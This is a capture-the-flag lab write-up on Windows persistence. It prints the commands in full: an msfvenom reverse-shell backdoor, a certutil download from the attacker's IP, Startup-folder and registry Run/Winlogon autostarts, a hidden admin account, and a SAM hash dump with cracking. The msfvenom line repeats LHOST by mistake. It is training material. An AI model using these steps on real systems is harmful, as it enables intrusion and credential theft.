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195 lines
5.7 KiB
Markdown
195 lines
5.7 KiB
Markdown
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# TryHackMe-Persistance
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>Abdullah Rizwan | 3:06 PM | 3rd November 2020
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## What is persistence?
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Persistence is a post-exploitation activity used by penetration testers in order to keep access to a system throughout the whole assessment and not to have to re-exploit the target even if the system restarts.
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It can be considered that there are two types of persistence. These two types are:
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Low privileged persistence
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Privileged user persistence
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### Low privileged user persistence
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Low privileged persistence means that the penetration tester gained and uses persistence techniques to keep his access to the target system under a normal user profile/account (a domain user with no administrative rights).
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### Privileged user persistence
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After gaining access to a system, sometimes (because it would be inaccurate to say always), a penetration tester will do privilege escalation in order to gain access to the highest privilege user that can be on a Windows machine (nt authority\system).
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After privilege escalation, he will use persistence in order to keep the access he gained.
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Keeping persistence
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Ways of keeping persistence:
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Startup folder persistence
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Editing registry keys
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Using scheduled tasks
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Using BITS
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Creating a backdoored service
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Creating another user
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Backdooring RDP
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## RDP
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Access the machine through RDP (Remote Desktop Protocol) through the credentials given
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```
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tryhackme:tryhackme123
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```
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<img src="https://imgur.com/C4ygsY5.png"/>
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Then click on `Save and Connect`
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<img src="https://imgur.com/hIiAApg.png"/>
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## Msfvenom
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Now create a backdoor through `msfvenom` and use `metasploit` to set a listener on to the port that the backdoor is set
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```
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msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.14.3.143 LHOST=6666 -f exe > backdoor.exe
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```
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<img src="https://imgur.com/0pvMA5U.png"/>
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## Metasploit
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<img src="https://imgur.com/yf8xl4Y.png"/>
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Now host the backdoor on your machine
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`python3 -m http.server 80`
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And run this on target machine on `cmd`
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`certutil.exe -urlcache -f http://10.14.3.143:80/backdoor.exe backdoor.exe`
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<img src="https://imgur.com/WHGRLa6.png"/>
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But I didn't get saved on the target machine so I tried to save it on it's home directory and it worked now start listening on metasploit and execute the backdoor on our target machine
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But it didn't get worked , so now let's generate another backdoor but instead of specifiying architecture leave it
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<img src="https://imgur.com/rgQvRda.png"/>
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<img src="https://imgur.com/bAgctSI.png"/>
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Now this worked !
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<img src="https://imgur.com/Hm8xYhj.png"/>
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### Startup folder persistence
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Now we can upload a backdoor that will be executed whenever the system starts up to do that we navigate to
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`C:\Users\tryhackme\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup` and here upload that backdoor
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<img src="https://imgur.com/PIJtzlj.png"/>
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<img src="https://imgur.com/Wg0PUa6.png"/>
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Every time a user restarts its computer and logs in the backdoor will be executed and Metasploit will receive the connection.
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### Editing registries
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A low privileged user can still edit registries entries in a system , entry that can be edited is
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```
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HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
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```
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On meterpreter shell type `shell` to get a windows cmd and then type this command
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`reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Backdoor /t REG_SZ /d "C:\Users\tryhackme\AppData\Roaming\backdoor.exe`
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<img src="https://imgur.com/AmiciiN.png"/>
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### Having Administrator Rights
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By having high privilege rights we can add another admin user
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`net user /add <USER> <PASSWORD>`
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This will just a user to add that user in `Administrator` group
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`net localgroup Administrators <USER> /add`
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### Editing registries
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We can also get persistance through adding a registry , when a user logs on to a system `Backdoor` can be invoked
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`reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, <PATH_TO_BINARY>" /f`
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### Hash Dump
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Hash dumping will not run unless you are administrator so let's switch to admin
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`Administrator:Tryhackme123!`
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<img src="https://imgur.com/JXNCzh5.png"/>
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Now , run `getsystem` and `load kiwi` then run `lsa_dump_sam`
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<img src="https://imgur.com/vXOvdMQ.png"/>
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```
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Domain : PERSISTENCE
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SysKey : 31066436b67d1dfb03c9f249b9aed099
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Local SID : S-1-5-21-3421978194-83625553-4099171136
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SAMKey : d0bb192867888f2d94bc148c442c6c7c
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RID : 000001f4 (500)
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User : Administrator
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Hash NTLM: 52745740e9a05e6195731194f03865ea
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RID : 000001f5 (501)
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User : Guest
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RID : 000001f7 (503)
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User : DefaultAccount
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RID : 000003e8 (1000)
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User : joe
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Hash NTLM: 878d8014606cda29677a44efa1353fc7
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RID : 000003e9 (1001)
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User : chris
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Hash NTLM: e0b6050c7280bf4a7bee599cf374fd80
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RID : 000003ea (1002)
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User : tryhackme
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Hash NTLM: 0c7ba4684821cd349e327896d9db4474
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```
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Now let's crack `joe`'s and `chris`'s password hashes
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#### Chris
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<img src="https://imgur.com/XEGhHF2.png"/>
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#### Joe
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<img src="https://imgur.com/1hjFwTH.png"/>
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I used online crackstation to crack these hashes however they can still be cracked by using `crackstation`'s wordlists or using `seclist` to crack them using `hashcat` or `johntheripper`
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